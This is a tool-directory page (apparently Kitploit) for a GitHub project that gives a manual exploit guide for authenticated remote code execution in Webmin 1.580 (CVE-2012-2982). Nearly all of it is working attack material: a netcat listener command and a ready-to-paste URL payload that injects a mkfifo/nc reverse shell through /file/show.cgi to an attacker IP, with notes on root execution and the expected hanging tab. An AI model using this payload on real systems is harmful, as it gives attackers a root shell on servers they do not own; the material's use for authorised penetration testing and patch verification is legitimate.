Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Webmin-1.580---file-show.cgi-Manual-Remote-Command-Execution-Non-Metasploit- — Manual, non-Metasploit authenticated Remote Code Execution (RCE) exploit via the browser URL bar for Webmin 1.580 (CVE-2012-2982) | Kitploit
Tools/GitHubGitHub/marinovharisan/webmin-1.580---file-show.cgi-manual-remote-command-execution-non-metasploit-
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlRemote Access Tool
GitHubmarinovharisan/webmin-1.580---file-show.cgi-manual-remote-command-execution-non-metasploit-

Webmin-1.580---file-show.cgi-Manual-Remote-Command-Execution-Non-Metasploit-

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Manual, non-Metasploit authenticated Remote Code Execution (RCE) exploit via the browser URL bar for Webmin 1.580 (CVE-2012-2982)

View Repository
2 months agoNot yet reviewed

Markdown

Webmin 1.580 RCE Execution Guide

Quick reference for executing authenticated Remote Code Execution (RCE) on Webmin 1.580 via the /file/show.cgi component.


1. Attack Machine (Listener)

Run this command on your local machine to catch the incoming connection before executing the payload:

root@kitploit:~
rlwrap nc -lnvp 4444
  1. Target Exploit Payload Paste the following URL directly into your browser's address bar (ensure you are already logged into the Webmin dashboard first):
root@kitploit:~
http://127.0.0.1:10001/file/show.cgi/bin/sysinfo.cgi|rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <YOUR_ATTACK_IP> 4444 >/tmp/f|
Screenshot 2026-05-25 220641

Note: Remember to replace <YOUR_ATTACK_IP> with your actual local or tunnel IP address, ALSO IP and PORT of the target. Screenshot 2026-05-25 220708

Context & Details Vulnerability: Insufficient sanitization of inline path information passed to Perl's internal open() function in /file/show.cgi. Appending the pipe character (|) allows arbitrary command execution with root privileges.

Authentication: This requires an active session. The browser automatically handles authentication by sending your active session cookies when you submit the URL payload.

Expected Behavior: After pressing Enter, the browser tab will spin and appear to hang indefinitely. This confirms the server thread has been successfully hijacked to maintain the interactive shell session.

Download Tool